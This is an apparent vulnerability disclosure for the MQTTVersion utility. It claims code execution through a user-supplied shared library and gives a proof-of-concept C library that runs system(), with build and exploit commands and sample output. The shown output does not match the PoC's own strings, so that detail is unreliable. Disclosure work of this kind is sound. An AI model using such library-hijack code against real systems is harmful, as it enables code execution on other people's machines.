...[ More ]

*Description:*
    Arbitrary code execution is possible in the MQTTVersion utility due to
    unsafe loading and execution of untrusted shared libraries. When a user
    supplies a shared library path as a command-line argument, the application
    loads the library using dlopen() and resolves an exported symbol using
    dlsym(). The resolved function pointer is invoked directly without
    validating the origin or trustworthiness of the loaded library and without
    enforcing a security boundary. Because the supplied shared object is fully
    attacker-controlled, an attacker may export the expected symbol and execute
    arbitrary code when the function is invoked. This results in arbitrary code
    execution in the context of the running process.
    
    
    *Impact:*An attacker can execute arbitrary code with the privileges of the
    user running the MQTTVersion utility by providing a crafted shared object.
    This may result in command execution, data manipulation, or compromise of
    the execution environment. The impact is significantly increased if the
    utility is executed by privileged users or within automated tooling such as
    CI/CD pipelines, packaging systems, or administrative scripts.
    
    *Affected Code:*
    func_address = dlsym(APILibrary, "MQTTAsync_getVersionInfo");
    (*func_address)();
    
    *Attack Scenario:*
    
       1. An attacker creates a malicious shared object exporting the expected
       symbol.
       2. The attacker supplies the shared object path as a command-line
       argument.
       3. The utility loads the attacker-controlled library and invokes the
       exported function.
       4. Arbitrary attacker-controlled code executes in the context of the
       process.
    
    
    
    *Proof of Concept (PoC):*
    
    *Malicious Shared Object:*
    // evil.c
    #include <stdlib.h>
    
    typedef struct {
        const char* name;
        const char* value;
    } MQTTAsync_nameValue;
    
    MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {
        system("echo RCE_FROM_SO");
        static MQTTAsync_nameValue v[] = {
            {"PWNED", "Untrusted library executed"},
            {NULL, NULL}
        };
        return v;
    }
    
    
    *Compile the malicious library:*
    clang -shared -fPIC evil.c -o libevil.so
    
    *Exploit:*
    ./MQTTVersion ./libevil.so
    
    *Output:*
    MQTTVersion: print the version strings of an MQTT client library
    Copyright (c) 2012, 2018 IBM Corp.
    RCE_FROM_SO
    PWNED: Function pointer executed
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>